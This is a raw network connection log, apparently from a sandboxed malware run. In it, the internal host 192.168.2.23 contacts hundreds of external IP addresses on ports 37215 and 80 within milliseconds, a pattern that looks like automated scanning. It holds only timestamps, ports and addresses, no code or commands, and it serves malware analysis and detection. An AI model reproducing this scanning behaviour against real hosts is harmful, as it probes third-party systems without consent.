Jun 1, 2024 18:15:52.211879969 CEST	80	43496	189.249.22.63	192.168.2.23
Jun 1, 2024 18:15:52.211886883 CEST	43496	80	192.168.2.23	2.43.100.226
Jun 1, 2024 18:15:52.211894989 CEST	37215	60650	156.103.106.86	192.168.2.23
Jun 1, 2024 18:15:52.211904049 CEST	37215	60650	156.198.206.42	192.168.2.23
Jun 1, 2024 18:15:52.211911917 CEST	37215	60650	156.201.47.239	192.168.2.23
Jun 1, 2024 18:15:52.211913109 CEST	60650	37215	192.168.2.23	41.50.205.73
Jun 1, 2024 18:15:52.211920977 CEST	37215	60650	156.72.85.85	192.168.2.23
Jun 1, 2024 18:15:52.211929083 CEST	43496	80	192.168.2.23	189.249.22.63
Jun 1, 2024 18:15:52.211929083 CEST	60650	37215	192.168.2.23	156.198.206.42
Jun 1, 2024 18:15:52.211947918 CEST	80	43496	57.107.254.70	192.168.2.23
Jun 1, 2024 18:15:52.211950064 CEST	60650	37215	192.168.2.23	156.201.47.239
Jun 1, 2024 18:15:52.211954117 CEST	60650	37215	192.168.2.23	156.103.106.86
Jun 1, 2024 18:15:52.211956978 CEST	60650	37215	192.168.2.23	156.72.85.85
Jun 1, 2024 18:15:52.211968899 CEST	80	43496	125.45.115.23	192.168.2.23
Jun 1, 2024 18:15:52.211977959 CEST	80	43496	155.149.52.124	192.168.2.23
Jun 1, 2024 18:15:52.211987019 CEST	80	43496	63.30.175.192	192.168.2.23
Jun 1, 2024 18:15:52.211997032 CEST	80	43496	204.178.156.50	192.168.2.23
Jun 1, 2024 18:15:52.211997986 CEST	43496	80	192.168.2.23	57.107.254.70
Jun 1, 2024 18:15:52.212006092 CEST	80	43496	113.114.235.229	192.168.2.23
Jun 1, 2024 18:15:52.212012053 CEST	43496	80	192.168.2.23	125.45.115.23
Jun 1, 2024 18:15:52.212012053 CEST	43496	80	192.168.2.23	155.149.52.124
Jun 1, 2024 18:15:52.212027073 CEST	80	43496	130.101.139.73	192.168.2.23
Jun 1, 2024 18:15:52.212030888 CEST	43496	80	192.168.2.23	63.30.175.192
Jun 1, 2024 18:15:52.212034941 CEST	43496	80	192.168.2.23	204.178.156.50
Jun 1, 2024 18:15:52.212037086 CEST	37215	60650	197.142.47.147	192.168.2.23
Jun 1, 2024 18:15:52.212047100 CEST	37215	60650	197.203.89.231	192.168.2.23
Jun 1, 2024 18:15:52.212048054 CEST	43496	80	192.168.2.23	113.114.235.229
Jun 1, 2024 18:15:52.212055922 CEST	37215	60650	156.240.203.185	192.168.2.23
Jun 1, 2024 18:15:52.212064028 CEST	80	43496	75.189.40.56	192.168.2.23
Jun 1, 2024 18:15:52.212074041 CEST	43496	80	192.168.2.23	130.101.139.73
Jun 1, 2024 18:15:52.212074041 CEST	60650	37215	192.168.2.23	197.142.47.147
Jun 1, 2024 18:15:52.212095976 CEST	60650	37215	192.168.2.23	156.240.203.185
Jun 1, 2024 18:15:52.212097883 CEST	60650	37215	192.168.2.23	197.203.89.231
Jun 1, 2024 18:15:52.212106943 CEST	43496	80	192.168.2.23	75.189.40.56
Jun 1, 2024 18:15:52.212743044 CEST	37215	60650	197.6.191.123	192.168.2.23
Jun 1, 2024 18:15:52.212753057 CEST	80	43496	106.60.56.170	192.168.2.23
Jun 1, 2024 18:15:52.212762117 CEST	37215	60650	156.186.124.117	192.168.2.23
Jun 1, 2024 18:15:52.212773085 CEST	80	43496	124.234.220.68	192.168.2.23
Jun 1, 2024 18:15:52.212781906 CEST	80	43496	119.52.179.32	192.168.2.23
Jun 1, 2024 18:15:52.212790012 CEST	37215	60650	41.51.142.110	192.168.2.23
Jun 1, 2024 18:15:52.212796926 CEST	60650	37215	192.168.2.23	156.186.124.117
Jun 1, 2024 18:15:52.212799072 CEST	37215	60650	41.127.95.242	192.168.2.23
Jun 1, 2024 18:15:52.212801933 CEST	60650	37215	192.168.2.23	197.6.191.123
Jun 1, 2024 18:15:52.212801933 CEST	43496	80	192.168.2.23	106.60.56.170
Jun 1, 2024 18:15:52.212807894 CEST	37215	60650	197.171.136.15	192.168.2.23
Jun 1, 2024 18:15:52.212814093 CEST	43496	80	192.168.2.23	119.52.179.32
Jun 1, 2024 18:15:52.212816954 CEST	80	43496	202.61.174.174	192.168.2.23
Jun 1, 2024 18:15:52.212826014 CEST	37215	60650	197.109.220.14	192.168.2.23
Jun 1, 2024 18:15:52.212836027 CEST	80	43496	172.191.252.214	192.168.2.23
Jun 1, 2024 18:15:52.212838888 CEST	60650	37215	192.168.2.23	41.127.95.242
Jun 1, 2024 18:15:52.212845087 CEST	80	43496	158.228.89.78	192.168.2.23
Jun 1, 2024 18:15:52.212852955 CEST	60650	37215	192.168.2.23	197.171.136.15
Jun 1, 2024 18:15:52.212861061 CEST	80	43496	170.57.160.23	192.168.2.23
Jun 1, 2024 18:15:52.212869883 CEST	37215	60650	197.114.184.36	192.168.2.23
Jun 1, 2024 18:15:52.212877989 CEST	37215	60650	197.177.185.62	192.168.2.23
Jun 1, 2024 18:15:52.212878942 CEST	43496	80	192.168.2.23	172.191.252.214
Jun 1, 2024 18:15:52.212879896 CEST	60650	37215	192.168.2.23	197.109.220.14
Jun 1, 2024 18:15:52.212882042 CEST	43496	80	192.168.2.23	158.228.89.78
Jun 1, 2024 18:15:52.212887049 CEST	80	43496	121.71.179.13	192.168.2.23
Jun 1, 2024 18:15:52.212891102 CEST	43496	80	192.168.2.23	124.234.220.68
Jun 1, 2024 18:15:52.212891102 CEST	60650	37215	192.168.2.23	41.51.142.110
Jun 1, 2024 18:15:52.212891102 CEST	43496	80	192.168.2.23	202.61.174.174
Jun 1, 2024 18:15:52.212899923 CEST	43496	80	192.168.2.23	170.57.160.23
Jun 1, 2024 18:15:52.212904930 CEST	60650	37215	192.168.2.23	197.114.184.36
Jun 1, 2024 18:15:52.212915897 CEST	37215	60650	197.172.50.246	192.168.2.23
Jun 1, 2024 18:15:52.212925911 CEST	60650	37215	192.168.2.23	197.177.185.62
Jun 1, 2024 18:15:52.212928057 CEST	37215	60650	197.176.102.13	192.168.2.23
Jun 1, 2024 18:15:52.212933064 CEST	43496	80	192.168.2.23	121.71.179.13
Jun 1, 2024 18:15:52.212939978 CEST	80	43496	187.71.176.137	192.168.2.23
Jun 1, 2024 18:15:52.212949038 CEST	80	43496	89.250.216.129	192.168.2.23
Jun 1, 2024 18:15:52.212955952 CEST	80	43496	25.28.101.58	192.168.2.23
Jun 1, 2024 18:15:52.212965012 CEST	37215	60650	41.164.200.250	192.168.2.23
Jun 1, 2024 18:15:52.212970972 CEST	43496	80	192.168.2.23	187.71.176.137
Jun 1, 2024 18:15:52.212977886 CEST	60650	37215	192.168.2.23	197.176.102.13
Jun 1, 2024 18:15:52.212977886 CEST	43496	80	192.168.2.23	89.250.216.129
Jun 1, 2024 18:15:52.212979078 CEST	80	43496	102.79.73.133	192.168.2.23
Jun 1, 2024 18:15:52.212989092 CEST	80	43496	43.184.70.132	192.168.2.23
Jun 1, 2024 18:15:52.212997913 CEST	60650	37215	192.168.2.23	197.172.50.246
Jun 1, 2024 18:15:52.212997913 CEST	43496	80	192.168.2.23	25.28.101.58
Jun 1, 2024 18:15:52.212997913 CEST	60650	37215	192.168.2.23	41.164.200.250
Jun 1, 2024 18:15:52.213021994 CEST	43496	80	192.168.2.23	102.79.73.133
Jun 1, 2024 18:15:52.213021994 CEST	43496	80	192.168.2.23	43.184.70.132
Jun 1, 2024 18:15:52.213371992 CEST	80	43496	4.217.70.48	192.168.2.23
Jun 1, 2024 18:15:52.213382006 CEST	80	43496	124.153.179.44	192.168.2.23
Jun 1, 2024 18:15:52.213418007 CEST	43496	80	192.168.2.23	4.217.70.48
Jun 1, 2024 18:15:52.213423967 CEST	43496	80	192.168.2.23	124.153.179.44
Jun 1, 2024 18:15:52.213424921 CEST	37215	60650	156.35.70.192	192.168.2.23
Jun 1, 2024 18:15:52.213435888 CEST	37215	60650	41.197.156.52	192.168.2.23
Jun 1, 2024 18:15:52.213445902 CEST	80	43496	182.177.199.143	192.168.2.23
Jun 1, 2024 18:15:52.213465929 CEST	37215	60650	197.206.129.195	192.168.2.23
Jun 1, 2024 18:15:52.213465929 CEST	60650	37215	192.168.2.23	41.197.156.52
Jun 1, 2024 18:15:52.213470936 CEST	60650	37215	192.168.2.23	156.35.70.192
Jun 1, 2024 18:15:52.213475943 CEST	37215	60650	197.229.11.114	192.168.2.23
Jun 1, 2024 18:15:52.213483095 CEST	43496	80	192.168.2.23	182.177.199.143
Jun 1, 2024 18:15:52.213489056 CEST	37215	60650	197.131.20.225	192.168.2.23
Jun 1, 2024 18:15:52.213499069 CEST	37215	60650	197.0.6.193	192.168.2.23
Jun 1, 2024 18:15:52.213515997 CEST	60650	37215	192.168.2.23	197.206.129.195
Jun 1, 2024 18:15:52.213552952 CEST	60650	37215	192.168.2.23	197.229.11.114
Jun 1, 2024 18:15:52.213552952 CEST	60650	37215	192.168.2.23	197.131.20.225
Jun 1, 2024 18:15:52.213552952 CEST	60650	37215	192.168.2.23	197.0.6.193
Jun 1, 2024 18:15:52.213556051 CEST	37215	60650	41.156.101.88	192.168.2.23
Jun 1, 2024 18:15:52.213566065 CEST	80	43496	94.179.128.98	192.168.2.23
Jun 1, 2024 18:15:52.213574886 CEST	37215	60650	156.161.71.64	192.168.2.23
Jun 1, 2024 18:15:52.213583946 CEST	37215	60650	156.197.219.161	192.168.2.23
Jun 1, 2024 18:15:52.213603020 CEST	37215	60650	41.249.185.55	192.168.2.23
Jun 1, 2024 18:15:52.213607073 CEST	60650	37215	192.168.2.23	41.156.101.88
Jun 1, 2024 18:15:52.213607073 CEST	43496	80	192.168.2.23	94.179.128.98
Jun 1, 2024 18:15:52.213612080 CEST	37215	60650	197.209.66.29	192.168.2.23
Jun 1, 2024 18:15:52.213618040 CEST	60650	37215	192.168.2.23	156.161.71.64
Jun 1, 2024 18:15:52.213622093 CEST	37215	60650	41.17.222.182	192.168.2.23
Jun 1, 2024 18:15:52.213630915 CEST	37215	60650	41.157.30.135	192.168.2.23
Jun 1, 2024 18:15:52.213633060 CEST	60650	37215	192.168.2.23	156.197.219.161
Jun 1, 2024 18:15:52.213634968 CEST	60650	37215	192.168.2.23	41.249.185.55
Jun 1, 2024 18:15:52.213643074 CEST	37215	60650	197.73.74.88	192.168.2.23
Jun 1, 2024 18:15:52.213655949 CEST	60650	37215	192.168.2.23	41.17.222.182
Jun 1, 2024 18:15:52.213656902 CEST	60650	37215	192.168.2.23	197.209.66.29
Jun 1, 2024 18:15:52.213661909 CEST	80	43496	154.112.85.0	192.168.2.23
Jun 1, 2024 18:15:52.213671923 CEST	80	43496	172.99.27.109	192.168.2.23
Jun 1, 2024 18:15:52.213685036 CEST	60650	37215	192.168.2.23	41.157.30.135
Jun 1, 2024 18:15:52.213691950 CEST	43496	80	192.168.2.23	154.112.85.0
Jun 1, 2024 18:15:52.213702917 CEST	60650	37215	192.168.2.23	197.73.74.88
Jun 1, 2024 18:15:52.213702917 CEST	43496	80	192.168.2.23	172.99.27.109
Jun 1, 2024 18:15:52.214205980 CEST	80	43496	153.162.85.95	192.168.2.23
Jun 1, 2024 18:15:52.214241028 CEST	80	43496	97.30.22.122	192.168.2.23
Jun 1, 2024 18:15:52.214251041 CEST	37215	60650	41.95.183.43	192.168.2.23
Jun 1, 2024 18:15:52.214260101 CEST	37215	60650	197.175.159.92	192.168.2.23
Jun 1, 2024 18:15:52.214263916 CEST	43496	80	192.168.2.23	153.162.85.95
Jun 1, 2024 18:15:52.214270115 CEST	80	43496	189.43.59.91	192.168.2.23
Jun 1, 2024 18:15:52.214278936 CEST	37215	60650	197.156.164.65	192.168.2.23
Jun 1, 2024 18:15:52.214287996 CEST	60650	37215	192.168.2.23	41.95.183.43
Jun 1, 2024 18:15:52.214298010 CEST	37215	60650	41.162.43.224	192.168.2.23
Jun 1, 2024 18:15:52.214304924 CEST	60650	37215	192.168.2.23	197.175.159.92
Jun 1, 2024 18:15:52.214304924 CEST	43496	80	192.168.2.23	189.43.59.91
Jun 1, 2024 18:15:52.214307070 CEST	43496	80	192.168.2.23	97.30.22.122
Jun 1, 2024 18:15:52.214317083 CEST	80	43496	176.97.32.249	192.168.2.23
Jun 1, 2024 18:15:52.214319944 CEST	60650	37215	192.168.2.23	197.156.164.65
Jun 1, 2024 18:15:52.214335918 CEST	80	43496	98.199.109.179	192.168.2.23
Jun 1, 2024 18:15:52.214344025 CEST	60650	37215	192.168.2.23	41.162.43.224
Jun 1, 2024 18:15:52.214345932 CEST	80	43496	149.54.58.123	192.168.2.23
Jun 1, 2024 18:15:52.214355946 CEST	37215	60650	197.115.121.126	192.168.2.23
Jun 1, 2024 18:15:52.214375973 CEST	43496	80	192.168.2.23	98.199.109.179
Jun 1, 2024 18:15:52.214378119 CEST	43496	80	192.168.2.23	176.97.32.249
Jun 1, 2024 18:15:52.214382887 CEST	60650	37215	192.168.2.23	197.115.121.126
Jun 1, 2024 18:15:52.214402914 CEST	80	43496	125.49.74.213	192.168.2.23
Jun 1, 2024 18:15:52.214402914 CEST	43496	80	192.168.2.23	149.54.58.123
Jun 1, 2024 18:15:52.214412928 CEST	37215	60650	197.117.2.103	192.168.2.23
Jun 1, 2024 18:15:52.214421988 CEST	37215	60650	197.196.24.31	192.168.2.23
Jun 1, 2024 18:15:52.214431047 CEST	80	43496	102.34.187.18	192.168.2.23
Jun 1, 2024 18:15:52.214440107 CEST	37215	60650	41.31.44.91	192.168.2.23
Jun 1, 2024 18:15:52.214448929 CEST	80	43496	182.237.89.84	192.168.2.23
Jun 1, 2024 18:15:52.214449883 CEST	43496	80	192.168.2.23	125.49.74.213
Jun 1, 2024 18:15:52.214453936 CEST	60650	37215	192.168.2.23	197.117.2.103
Jun 1, 2024 18:15:52.214462042 CEST	60650	37215	192.168.2.23	197.196.24.31
Jun 1, 2024 18:15:52.214473009 CEST	80	43496	212.214.187.19	192.168.2.23
Jun 1, 2024 18:15:52.214483023 CEST	80	43496	165.38.13.184	192.168.2.23
Jun 1, 2024 18:15:52.214484930 CEST	43496	80	192.168.2.23	182.237.89.84
Jun 1, 2024 18:15:52.214485884 CEST	43496	80	192.168.2.23	102.34.187.18
Jun 1, 2024 18:15:52.214485884 CEST	60650	37215	192.168.2.23	41.31.44.91
Jun 1, 2024 18:15:52.214500904 CEST	37215	60650	197.151.198.104	192.168.2.23
Jun 1, 2024 18:15:52.214510918 CEST	80	43496	134.4.53.96	192.168.2.23
Jun 1, 2024 18:15:52.214523077 CEST	43496	80	192.168.2.23	212.214.187.19
Jun 1, 2024 18:15:52.214529991 CEST	43496	80	192.168.2.23	165.38.13.184
Jun 1, 2024 18:15:52.214555025 CEST	60650	37215	192.168.2.23	197.151.198.104
Jun 1, 2024 18:15:52.214555979 CEST	43496	80	192.168.2.23	134.4.53.96
Jun 1, 2024 18:15:52.215117931 CEST	80	43496	58.188.196.185	192.168.2.23
Jun 1, 2024 18:15:52.215151072 CEST	80	43496	157.69.136.33	192.168.2.23
Jun 1, 2024 18:15:52.215159893 CEST	80	43496	114.224.59.229	192.168.2.23
Jun 1, 2024 18:15:52.215164900 CEST	43496	80	192.168.2.23	58.188.196.185
Jun 1, 2024 18:15:52.215193987 CEST	43496	80	192.168.2.23	157.69.136.33
Jun 1, 2024 18:15:52.215202093 CEST	80	43496	35.138.212.207	192.168.2.23
Jun 1, 2024 18:15:52.215212107 CEST	80	43496	111.133.7.193	192.168.2.23
Jun 1, 2024 18:15:52.215214968 CEST	43496	80	192.168.2.23	114.224.59.229
Jun 1, 2024 18:15:52.215220928 CEST	80	43496	98.37.20.21	192.168.2.23
Jun 1, 2024 18:15:52.215229988 CEST	37215	60650	156.34.98.162	192.168.2.23
Jun 1, 2024 18:15:52.215245962 CEST	43496	80	192.168.2.23	111.133.7.193
Jun 1, 2024 18:15:52.215246916 CEST	43496	80	192.168.2.23	35.138.212.207
Jun 1, 2024 18:15:52.215257883 CEST	37215	60650	41.184.249.164	192.168.2.23
Jun 1, 2024 18:15:52.215267897 CEST	80	43496	142.206.139.35	192.168.2.23
Jun 1, 2024 18:15:52.215270996 CEST	43496	80	192.168.2.23	98.37.20.21
Jun 1, 2024 18:15:52.215271950 CEST	60650	37215	192.168.2.23	156.34.98.162
Jun 1, 2024 18:15:52.215279102 CEST	80	43496	122.13.119.135	192.168.2.23
Jun 1, 2024 18:15:52.215287924 CEST	80	43496	1.139.179.35	192.168.2.23
Jun 1, 2024 18:15:52.215303898 CEST	60650	37215	192.168.2.23	41.184.249.164
Jun 1, 2024 18:15:52.215303898 CEST	43496	80	192.168.2.23	142.206.139.35
Jun 1, 2024 18:15:52.215306997 CEST	80	43496	179.110.191.233	192.168.2.23
Jun 1, 2024 18:15:52.215316057 CEST	37215	60650	197.92.118.71	192.168.2.23
Jun 1, 2024 18:15:52.215325117 CEST	80	43496	159.179.236.201	192.168.2.23
Jun 1, 2024 18:15:52.215326071 CEST	43496	80	192.168.2.23	1.139.179.35
Jun 1, 2024 18:15:52.215326071 CEST	43496	80	192.168.2.23	122.13.119.135
Jun 1, 2024 18:15:52.215342999 CEST	43496	80	192.168.2.23	179.110.191.233
Jun 1, 2024 18:15:52.215344906 CEST	80	43496	57.83.133.173	192.168.2.23
Jun 1, 2024 18:15:52.215353966 CEST	80	43496	175.247.49.232	192.168.2.23
Jun 1, 2024 18:15:52.215363026 CEST	37215	60650	41.191.151.55	192.168.2.23
Jun 1, 2024 18:15:52.215367079 CEST	60650	37215	192.168.2.23	197.92.118.71
Jun 1, 2024 18:15:52.215368986 CEST	43496	80	192.168.2.23	159.179.236.201
Jun 1, 2024 18:15:52.215382099 CEST	43496	80	192.168.2.23	57.83.133.173
Jun 1, 2024 18:15:52.215392113 CEST	43496	80	192.168.2.23	175.247.49.232
Jun 1, 2024 18:15:52.215409994 CEST	60650	37215	192.168.2.23	41.191.151.55
Jun 1, 2024 18:15:52.215441942 CEST	37215	60650	156.13.211.60	192.168.2.23
Jun 1, 2024 18:15:52.215451956 CEST	80	43496	67.6.170.89	192.168.2.23
Jun 1, 2024 18:15:52.215460062 CEST	37215	60650	156.144.253.201	192.168.2.23
Jun 1, 2024 18:15:52.215468884 CEST	37215	60650	41.106.22.43	192.168.2.23
Jun 1, 2024 18:15:52.215477943 CEST	80	43496	45.189.70.37	192.168.2.23
Jun 1, 2024 18:15:52.215482950 CEST	60650	37215	192.168.2.23	156.13.211.60
Jun 1, 2024 18:15:52.215487003 CEST	80	43496	203.161.92.109	192.168.2.23
Jun 1, 2024 18:15:52.215490103 CEST	60650	37215	192.168.2.23	156.144.253.201
Jun 1, 2024 18:15:52.215495110 CEST	80	43496	118.57.191.240	192.168.2.23
Jun 1, 2024 18:15:52.215502977 CEST	80	43496	73.88.168.75	192.168.2.23
Jun 1, 2024 18:15:52.215506077 CEST	43496	80	192.168.2.23	67.6.170.89
Jun 1, 2024 18:15:52.215509892 CEST	60650	37215	192.168.2.23	41.106.22.43
Jun 1, 2024 18:15:52.215516090 CEST	43496	80	192.168.2.23	45.189.70.37
Jun 1, 2024 18:15:52.215531111 CEST	43496	80	192.168.2.23	203.161.92.109
Jun 1, 2024 18:15:52.215545893 CEST	43496	80	192.168.2.23	118.57.191.240
Jun 1, 2024 18:15:52.215545893 CEST	43496	80	192.168.2.23	73.88.168.75
Jun 1, 2024 18:15:52.215934992 CEST	37215	60650	41.206.156.174	192.168.2.23
Jun 1, 2024 18:15:52.215975046 CEST	37215	60650	41.191.29.28	192.168.2.23
Jun 1, 2024 18:15:52.215985060 CEST	37215	60650	156.36.87.79	192.168.2.23
Jun 1, 2024 18:15:52.216003895 CEST	37215	60650	156.36.214.252	192.168.2.23
Jun 1, 2024 18:15:52.216013908 CEST	37215	60650	41.91.25.187	192.168.2.23
Jun 1, 2024 18:15:52.216022015 CEST	37215	60650	41.199.241.250	192.168.2.23
Jun 1, 2024 18:15:52.216022968 CEST	60650	37215	192.168.2.23	41.206.156.174
Jun 1, 2024 18:15:52.216025114 CEST	60650	37215	192.168.2.23	156.36.87.79
Jun 1, 2024 18:15:52.216032028 CEST	80	43496	109.214.33.21	192.168.2.23
Jun 1, 2024 18:15:52.216036081 CEST	37215	60650	41.5.233.134	192.168.2.23
Jun 1, 2024 18:15:52.216038942 CEST	60650	37215	192.168.2.23	41.191.29.28
Jun 1, 2024 18:15:52.216042042 CEST	37215	60650	41.6.119.126	192.168.2.23
Jun 1, 2024 18:15:52.216044903 CEST	60650	37215	192.168.2.23	156.36.214.252
Jun 1, 2024 18:15:52.216046095 CEST	80	43496	18.113.163.82	192.168.2.23
Jun 1, 2024 18:15:52.216048002 CEST	60650	37215	192.168.2.23	41.91.25.187
Jun 1, 2024 18:15:52.216065884 CEST	37215	60650	197.188.122.142	192.168.2.23
Jun 1, 2024 18:15:52.216069937 CEST	60650	37215	192.168.2.23	41.199.241.250
Jun 1, 2024 18:15:52.216075897 CEST	37215	60650	41.99.92.117	192.168.2.23
Jun 1, 2024 18:15:52.216087103 CEST	43496	80	192.168.2.23	109.214.33.21
Jun 1, 2024 18:15:52.216089010 CEST	43496	80	192.168.2.23	18.113.163.82
Jun 1, 2024 18:15:52.216089964 CEST	60650	37215	192.168.2.23	41.5.233.134
Jun 1, 2024 18:15:52.216099977 CEST	80	43496	47.66.140.20	192.168.2.23
Jun 1, 2024 18:15:52.216106892 CEST	60650	37215	192.168.2.23	41.6.119.126
Jun 1, 2024 18:15:52.216106892 CEST	60650	37215	192.168.2.23	197.188.122.142
Jun 1, 2024 18:15:52.216116905 CEST	37215	60650	41.1.96.161	192.168.2.23
Jun 1, 2024 18:15:52.216126919 CEST	37215	60650	156.110.172.91	192.168.2.23
Jun 1, 2024 18:15:52.216136932 CEST	60650	37215	192.168.2.23	41.99.92.117
Jun 1, 2024 18:15:52.216137886 CEST	37215	60650	41.9.152.25	192.168.2.23
Jun 1, 2024 18:15:52.216140032 CEST	43496	80	192.168.2.23	47.66.140.20
Jun 1, 2024 18:15:52.216162920 CEST	60650	37215	192.168.2.23	41.1.96.161
Jun 1, 2024 18:15:52.216171980 CEST	60650	37215	192.168.2.23	41.9.152.25
Jun 1, 2024 18:15:52.216177940 CEST	60650	37215	192.168.2.23	156.110.172.91
Jun 1, 2024 18:15:52.216850996 CEST	37215	60650	197.25.88.12	192.168.2.23
Jun 1, 2024 18:15:52.216885090 CEST	37215	60650	156.67.208.212	192.168.2.23
Jun 1, 2024 18:15:52.216896057 CEST	37215	60650	41.163.19.38	192.168.2.23
Jun 1, 2024 18:15:52.216897011 CEST	60650	37215	192.168.2.23	197.25.88.12
Jun 1, 2024 18:15:52.216906071 CEST	37215	60650	41.27.172.67	192.168.2.23
Jun 1, 2024 18:15:52.216916084 CEST	37215	60650	197.254.7.240	192.168.2.23
Jun 1, 2024 18:15:52.216923952 CEST	37215	60650	197.194.42.62	192.168.2.23
Jun 1, 2024 18:15:52.216927052 CEST	60650	37215	192.168.2.23	156.67.208.212
Jun 1, 2024 18:15:52.216927052 CEST	60650	37215	192.168.2.23	41.163.19.38
Jun 1, 2024 18:15:52.216939926 CEST	60650	37215	192.168.2.23	41.27.172.67
Jun 1, 2024 18:15:52.216942072 CEST	60650	37215	192.168.2.23	197.254.7.240
Jun 1, 2024 18:15:52.216952085 CEST	37215	60650	41.146.139.21	192.168.2.23
Jun 1, 2024 18:15:52.216960907 CEST	80	43496	20.64.62.158	192.168.2.23
Jun 1, 2024 18:15:52.216969967 CEST	80	43496	174.209.39.155	192.168.2.23
Jun 1, 2024 18:15:52.216978073 CEST	37215	60650	197.78.84.103	192.168.2.23
Jun 1, 2024 18:15:52.216983080 CEST	60650	37215	192.168.2.23	197.194.42.62
Jun 1, 2024 18:15:52.216985941 CEST	60650	37215	192.168.2.23	41.146.139.21
Jun 1, 2024 18:15:52.216994047 CEST	43496	80	192.168.2.23	20.64.62.158
Jun 1, 2024 18:15:52.217000008 CEST	37215	60650	197.216.174.58	192.168.2.23
Jun 1, 2024 18:15:52.217020035 CEST	37215	60650	156.104.49.156	192.168.2.23
Jun 1, 2024 18:15:52.217020035 CEST	43496	80	192.168.2.23	174.209.39.155
Jun 1, 2024 18:15:52.217020988 CEST	60650	37215	192.168.2.23	197.78.84.103
Jun 1, 2024 18:15:52.217031002 CEST	80	43496	84.102.147.101	192.168.2.23
Jun 1, 2024 18:15:52.217039108 CEST	60650	37215	192.168.2.23	197.216.174.58
Jun 1, 2024 18:15:52.217046022 CEST	80	43496	131.180.100.89	192.168.2.23
Jun 1, 2024 18:15:52.217056036 CEST	80	43496	210.185.168.80	192.168.2.23
Jun 1, 2024 18:15:52.217061996 CEST	60650	37215	192.168.2.23	156.104.49.156
Jun 1, 2024 18:15:52.217072964 CEST	80	43496	87.87.54.206	192.168.2.23
Jun 1, 2024 18:15:52.217080116 CEST	43496	80	192.168.2.23	210.185.168.80
Jun 1, 2024 18:15:52.217081070 CEST	43496	80	192.168.2.23	84.102.147.101
Jun 1, 2024 18:15:52.217081070 CEST	43496	80	192.168.2.23	131.180.100.89
Jun 1, 2024 18:15:52.217092991 CEST	80	43496	79.245.62.59	192.168.2.23
Jun 1, 2024 18:15:52.217103004 CEST	80	43496	138.217.194.141	192.168.2.23
Jun 1, 2024 18:15:52.217111111 CEST	80	43496	82.237.169.92	192.168.2.23
Jun 1, 2024 18:15:52.217119932 CEST	37215	60650	197.225.90.225	192.168.2.23
Jun 1, 2024 18:15:52.217132092 CEST	43496	80	192.168.2.23	138.217.194.141
Jun 1, 2024 18:15:52.217130899 CEST	43496	80	192.168.2.23	79.245.62.59
Jun 1, 2024 18:15:52.217138052 CEST	80	43496	85.163.66.145	192.168.2.23
Jun 1, 2024 18:15:52.217149973 CEST	37215	60650	197.163.120.237	192.168.2.23
Jun 1, 2024 18:15:52.217154026 CEST	60650	37215	192.168.2.23	197.225.90.225
Jun 1, 2024 18:15:52.217154980 CEST	43496	80	192.168.2.23	87.87.54.206
Jun 1, 2024 18:15:52.217154980 CEST	43496	80	192.168.2.23	82.237.169.92
Jun 1, 2024 18:15:52.217176914 CEST	43496	80	192.168.2.23	85.163.66.145
Jun 1, 2024 18:15:52.217194080 CEST	60650	37215	192.168.2.23	197.163.120.237
Jun 1, 2024 18:15:52.217807055 CEST	37215	60650	41.158.74.89	192.168.2.23
Jun 1, 2024 18:15:52.217817068 CEST	80	43496	42.21.30.53	192.168.2.23
Jun 1, 2024 18:15:52.217825890 CEST	37215	60650	41.2.77.25	192.168.2.23
Jun 1, 2024 18:15:52.217837095 CEST	37215	60650	156.136.1.23	192.168.2.23
Jun 1, 2024 18:15:52.217854977 CEST	80	43496	101.160.227.2	192.168.2.23
Jun 1, 2024 18:15:52.217860937 CEST	43496	80	192.168.2.23	42.21.30.53
Jun 1, 2024 18:15:52.217863083 CEST	37215	60650	41.231.221.233	192.168.2.23
Jun 1, 2024 18:15:52.217875004 CEST	60650	37215	192.168.2.23	41.2.77.25
Jun 1, 2024 18:15:52.217880011 CEST	60650	37215	192.168.2.23	156.136.1.23
Jun 1, 2024 18:15:52.217883110 CEST	43496	80	192.168.2.23	101.160.227.2
Jun 1, 2024 18:15:52.217884064 CEST	37215	60650	197.150.120.10	192.168.2.23
Jun 1, 2024 18:15:52.217895031 CEST	60650	37215	192.168.2.23	41.231.221.233
Jun 1, 2024 18:15:52.217900991 CEST	37215	60650	156.165.184.210	192.168.2.23
Jun 1, 2024 18:15:52.217911005 CEST	37215	60650	41.181.106.47	192.168.2.23
Jun 1, 2024 18:15:52.217921019 CEST	37215	60650	197.19.206.11	192.168.2.23
Jun 1, 2024 18:15:52.217924118 CEST	60650	37215	192.168.2.23	197.150.120.10
Jun 1, 2024 18:15:52.217938900 CEST	60650	37215	192.168.2.23	156.165.184.210
Jun 1, 2024 18:15:52.217941999 CEST	60650	37215	192.168.2.23	41.158.74.89
Jun 1, 2024 18:15:52.217941999 CEST	60650	37215	192.168.2.23	41.181.106.47
Jun 1, 2024 18:15:52.217948914 CEST	37215	60650	41.193.145.234	192.168.2.23
Jun 1, 2024 18:15:52.217958927 CEST	37215	60650	197.103.112.143	192.168.2.23
Jun 1, 2024 18:15:52.217967987 CEST	80	43496	171.122.55.47	192.168.2.23
Jun 1, 2024 18:15:52.217972994 CEST	60650	37215	192.168.2.23	197.19.206.11
Jun 1, 2024 18:15:52.217976093 CEST	37215	60650	197.180.121.246	192.168.2.23
Jun 1, 2024 18:15:52.217994928 CEST	60650	37215	192.168.2.23	197.103.112.143
Jun 1, 2024 18:15:52.217998028 CEST	37215	60650	41.108.0.213	192.168.2.23
Jun 1, 2024 18:15:52.217999935 CEST	43496	80	192.168.2.23	171.122.55.47
Jun 1, 2024 18:15:52.218007088 CEST	37215	60650	156.32.217.85	192.168.2.23
Jun 1, 2024 18:15:52.218015909 CEST	80	43496	68.192.214.27	192.168.2.23
Jun 1, 2024 18:15:52.218018055 CEST	60650	37215	192.168.2.23	197.180.121.246
Jun 1, 2024 18:15:52.218029976 CEST	60650	37215	192.168.2.23	41.193.145.234
Jun 1, 2024 18:15:52.218034029 CEST	37215	60650	197.41.90.15	192.168.2.23
Jun 1, 2024 18:15:52.218040943 CEST	60650	37215	192.168.2.23	41.108.0.213
Jun 1, 2024 18:15:52.218044043 CEST	37215	60650	197.110.235.131	192.168.2.23
Jun 1, 2024 18:15:52.218050957 CEST	43496	80	192.168.2.23	68.192.214.27
Jun 1, 2024 18:15:52.218051910 CEST	60650	37215	192.168.2.23	156.32.217.85
Jun 1, 2024 18:15:52.218053102 CEST	37215	60650	197.149.143.42	192.168.2.23
Jun 1, 2024 18:15:52.218074083 CEST	37215	60650	41.33.22.195	192.168.2.23
Jun 1, 2024 18:15:52.218081951 CEST	60650	37215	192.168.2.23	197.110.235.131
